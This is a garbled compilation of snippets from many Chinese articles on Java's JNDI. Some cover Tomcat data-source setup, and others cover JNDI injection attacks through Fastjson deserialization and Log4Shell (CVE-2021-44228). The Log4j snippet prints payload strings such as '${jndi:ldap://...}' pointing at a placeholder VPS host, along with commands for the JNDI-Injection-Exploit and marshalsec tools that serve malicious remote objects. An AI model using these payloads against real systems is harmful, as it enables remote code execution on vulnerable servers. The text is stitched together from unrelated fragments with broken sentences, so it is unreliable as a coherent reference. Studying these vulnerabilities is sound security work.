所以通过JNDI就可以简单的通过 InitialContext 获取到统一配置的资源,简化代码的编写。 ? 为了避免篇幅过长,自定义JNDI则留到后面再说。 配置 这里说明的内容,不是每次编码必须的步骤,只是先说明一下都有哪些地方涉及到配置。 3 JNDI数据源配置 这部分就不多说了,参考下面的JNDI配置数据源即可。 参考 【1】tomcat 6 JNDI resource : http://tomcat.apache.org/tomcat-6.0-doc/jndi-resources-howto.html 【2】通过 JNDI配置数据源:http://www.blogjava.net/supercrsky/articles/174931.html
---- Concepts of JNDI JNDI 全名 Java Naming and Directory Interface,实际上简单来说就是一个接口,应用通过该接口来访问对应的目录服务。 JNDI到底是什么,实际上是java的一个api,通过JNDI可以对不同的目录系统做操作,将不同的目录系统(如RMI和LDAP)放入统一的一个接口中方便使用,其整体架构可看oracle官方文档[2]中给的图 与常规的rmi实现不同的是此处我们操作的是Reference对象而非直接对远程类对象做操作,这样就是JNDI对于RMI或者说是SPI层下的实现,通过返回Reference的方式,由JNDI统一去加载指定的地址上的 、com.sun.jndi.cosnaming.object.trustURLCodebase为true。 总结 在JNDI注入中 就RMI而言: 在JDK8u113以及JDK6u132, JDK7u122版本以下,可以使用JNDI + RMI lookup Reference的利用方式。
在对连接池就行操作的时候使用到了传说中的JNDI技术。 正所谓“不想了解其运行机制的程序员不是好的架构师”,因此带着疑问对JNDI进行了勘察。 首先推荐大家一篇文章个人感觉通俗易懂: http://blog.csdn.net/zhaosg198312/archive/2009/03/11/3979435.aspx 根据文章中的演示,可以看到出来在使用JNDI 配置连接字符串到配置文件是为了访问不同的数据库,而使用JNDI的结果就是可以灵活使用组件或者说成是资源才会更好一下,通过配置相应文件,就可以将其他资源通过JNDI沾到项目中去。 还是推荐大家看一下我上篇文章最后给的那个链接,IBM文档库,还是比较给力的 —EOF— 补充:关于JNDI的分布式参看这里:http://www.xasxt.com/index.php/article/ jiaocheng/shipin_1076.html JNDI全攻略(一):http://www.cnblogs.com/chinafine/archive/2010/06/16/1759246.html
JNDI注入依赖RMI,所以在学习JNDI注入前务必了解一下RMI JNDI 简介 JNDI (Java Naming and Directory Interface) 是一个java中的技术,用于提供一个访问各种资源的接口 比如通过JNDI可以在局域网上定位一台打印机,或者定位数据库服务,远程JAVA对象等。 JNDI底层支持RMI远程对象,RMI注册的服务可以直接被JNDI接口访问调用。 JNDI注入 如果我们满足以下条件,JNDI注入就会成功 JNDI调用的lookup参数可控 URI可进行动态协议转换 Reference对象指定类会被加载并实例化 其实最重要的就是第一条。 以上是JNDI Reference+RMI的利用方式,除此之外还有一个JNDI Reference+ldap 的利用方式,操作与JNDI Reference+RMI大同小异,也就是通过ldap协议lookup JNDI注入:高版本如何利用?
JNDI 体系解析 在上面的 Log4j2 Lookups 路径中,定义了 JNDI 环境入口,接下来,我们来了解一下 JNDI Lookups,JndiLookup 允许通过 JNDI 进行变量检索 那么,什么是 JNDI 呢? 接下来,我们再来了解一下 JNDI 服务提供商相关概念,通常,要将 JNDI 与特定的命名或目录服务配合使用,我们需要一个 JNDI 服务提供程序,该提供程序是插入 JNDI API 下方以访问命名或目录服务的模块 但是,在通常情况下,JNDI 的抽象将连接配置与应用程序分离。让我们来探讨一下包含 JNDI 核心功能的名称。 可以在 Web 应用程序容器中创建 JNDI 资源,将 JNDI 用作在所有环境中工作的一致抽象层。
从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。JNDI 架构上主要包含两个部分,即 Java 的应用层接口(API)和 SPI。 RMI rmi:// com.sun.jndi.url.rmi.rmiURLContext LDAP ldap:// com.sun.jndi.url.ldap.ldapURLContext LDAP ldaps:// com.sun.jndi.url.ldaps.ldapsURLContextFactory IIOP iiop:// com.sun.jndi.url.iiop.iiopURLContext JNDI+LDAP ldap的属性值中可以被用来存储Java对象,通过Java序列化,或者 JNDI Reference 来存储。 详细可以参考 如何绕过高版本 JDK 的限制进行 JNDI 注入利用 | KINGX 探索高版本 JDK 下 JNDI 漏洞的利用方法 | 浅蓝 最后 JNDI 注入的漏洞的关键在于动态协议切换导致请求了攻击者控制的目录服务
THE SPRING EQUINOX JNDI注入工具代码结构分析 该文章首发于Sec-IN,文章链接:https://www.sec-in.com/article/1632 工具链接:https://
之前用Eclipse JEE开发web工程,按照网上的一些说法,配置,发现很麻烦。而且每次project重新remove再加载,配置就丢失了。
1.介绍 Tomcat为每个在其上运行的web应用提供了一个JNDI的** InitialContext**实现实例,它与Java EE应用服务器提供的对应类完全兼容。 <ResourceLink> - Add a link to a resource defined in the global JNDI context. JNDI命名空间的java:comp/env部分中包含着所有的配置项与资源。 6.4.2 声明资源需求 修改web应用的部署描述文件(/WEB-INF/web.xml),声明JNDI名称以便借此查找预配置的数据源。 6.4.1 编写资源工厂类 需要编写一个类来实现JNDI服务提供者javax.naming.spi.ObjectFactory接口。
0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识。JNDI注入是Fastjson反序列化漏洞中的攻击手法之一。 0x01 JNDI 概述 JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端 现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。 0x03 JNDI注入攻击 在叙述JNDI注入前先来看一段源码。 JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。 JNDI注入+RMI实现攻击 下面还是来看几段代码,来做一个分析具体的攻击流程。
0x01 前言 前一章简单介绍了jndi注入的知识,这一章主要是分析一下fastjson 1.2.24版本的反序列化漏洞,这个漏洞比较普遍的利用手法就是通过jndi注入的方式实现RCE,所以我觉得是一个挺好的 JNDI注入实践案例。 Feature.SupportNonPublicField参数:JSON.parseObject(myJSON,User.class,Feature.SupportNonPublicField); 0x03 fastjson反序列化——JNDI (this.getUrl(), this.getUsername(), this.getPassword()) : null; } } 可以看到这里connect方法中有典型的jndi 使用说明中有介绍,我们用该工具快速搭建一个rmi服务器,并把恶意的远程对象注册到上面,使用如下命令: java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp
Log4j Security Vulnerabilities log4shell - Quick Guide 漏洞利用 Log4j 2.14.1 - RCE CVE-2021-44228 POC ${jndi -1.0-SNAPSHOT-all.jar -C "<编码字符串>" -A "<VPS_IP>" # 触发 ${jndi:rmi://<IP>:<Port>/xxxxxx Log4j 2.15.0 -45046 参考文章: Apache Log4j2拒绝服务漏洞分析 浅谈Log4j2之2.15.0版本RCE DoS POC ${jndi:ldap://127.0.0.1} Log4j 2.16.0 这个弹不到Shell,但是有请求记录 本地环境 工具:https://github.com/welk1n/JNDI-Injection-Exploit # java -jar JNDI-Injection-Exploit ", "true"); logger.error("${jndi:ldap://127.0.0.1:1389/xxx}"); } } pom.xml <?
本文将介绍Tomcat配置JNDI数据源的方法,主要分为配置局部数据源(仅供单个应用使用)和全局数据源(所有用该Tomcat的应用都可以使用) 一、思考 从我们学习Web开发以来,我们都是通过程序代码来实现数据库的访问的 而通过JNDI方式访问数据库则更为直接,JNDI连接数据库的方式直接将数据库信息放在Tomcat中,而项目代码里直接通过JNDI技术就可以得到数据源。 应该说,JNDI方式配置数据源将项目代码与实施部署分离开来了,有利于开发人员和实施部署人员各司其职。
me JNDI 101 首先第一个问题,什么是 JNDI,它的作用是什么? ),这些目录服务本身和 JNDI 有没直接耦合性,但基于 SPI 接口和 JNDI 构建起了重要的联系。 这几个服务本身和 JNDI 没有直接的依赖,而是通过 SPI 接口实现了联系,因此本节先脱离 JNDI 对这些服务进行简单介绍。 漏洞利用 根据上节介绍,基于 JNDI Context 的查找内容如果用户可控,就存在 JNDI 注入的可能,那注入后如何获得最终的代码执行权限呢? (wp) JAVA JNDI注入知识详解 8U191之后的JNDI注入(LDAP)
而jndi注入就是利用的动态类加载完成攻击的。 在谈jndi注入之前,我们先来看看关于jndi的基础知识 0x02 jndi是个啥 jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN 在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向,而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。 . 0x03 jndi 代码实现 在JNDI中提供了绑定和查找的方法: bind:将名称绑定到对象中; lookup:通过名字检索执行的对象; 下面的demo将演示如何用jndi访问rmi服务: 先实现一个接口 由于上面的代码将服务端与客户端写到了一起,所以看着不那么清晰,我看到很多文章里吧JNDI工厂初始化这一步操作划分到了服务端,我觉得是错误的,配置jndi工厂与jndi的url和端口应该是客户端的事情。
文章来源|MS08067安全实验室 本文作者:D_infinite(Java审计培训班讲师) 什么是JNDI? 比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。 JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI 就个人的理解,JNDI相当于在LDAP RMI等服务外面再套了一层API,方便统一调用。 JNDI的注入点 假设client端地址为10.0.0.1,先来看下面一段,JNDI的client端的代码 Context context = new InitialContext(); context.lookup
JNDI的作用 JNDI的主要作用是作为一种服务定位机制,能够将用户抽象出来的服务名称映射到具体的服务实现对象。 JNDI在Java EE中的使用 让我们以Java EE应用服务器(如Tomcat、WebLogic、JBoss等)中的数据源作为例子,深入了解JNDI的使用。 JNDI的优点 JNDI有一些明显的优点: 解耦和灵活性:使用JNDI,应用程序不需要直接创建或管理服务对象。这样,服务对象的创建和配置就可以被集中管理,提高了灵活性。 服务发现:JNDI不仅可以用于查找服务,还可以浏览服务,这对于服务发现和微服务架构非常有用。 结语 总的来说,JNDI是Java EE中不可或缺的一部分,它在服务查找和访问中扮演着关键角色。 通过使用JNDI,我们可以简化代码,提高代码的移植性,同时提高了应用的灵活性和扩展性。
JNDI的全称是java命名与目录接口(Java Naming and Directory Interface),是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口 我们可以把JNDI简单地理解为是一种将对象和名字绑定的技术,即指定一个资源名称,将该名称与某一资源或服务相关联,当需要访问其他组件和资源时,就需要使用JNDI服务进行定位,应用程序可以通过名字获取对应的对象或服务 JNDI方式 - 配置Tomcat6.0 连接池 数据库连接池的基本思想就是为数据库连接建立一个“缓冲池”。 在web.xml中加入数据源的名字的配置 res-ref-name:指定所引用资源的JNDI名字,与<Resource>元素中的name属性对应。 -- name:指定Resourced JNDI的名称 auth:指定管理Resourced的manager(Container:由容器创建和管理 Application
介绍 本篇依赖一个概念——JNDI,可以参考前面的博客:JNDI资源详解。 对于JNDI,可以简单理解成Tomcat中的资源池,通过一些特有的名字与特定的资源相对应,类似一个map,可以简单的通过名字获取到该资源。 ? 那么本篇中JNDI数据源就是通过配置一个数据源的资源,在应用中通过该名称获取到数据库连接,进行操作。这样就省去了每次连接数据库的步骤。 连接池原理 连接池的概念,应该都不陌生了。 而tomcat配置数据源可以在tomcat容器启动时就初始化连接池,停止tomcat时才释放资源,其部署的应用可以根据JNDI的声明,在应用中共享使用该资源。 Database:http://tomcat.apache.org/tomcat-6.0-doc/jndi-datasource-examples-howto.html
目录 第一步 第二步 第三步 第一步 找到配置文件 第二步 将数据源配置进去 SOURCE/type=javax.sql.DataSource SOURCE/driver=com.mysql.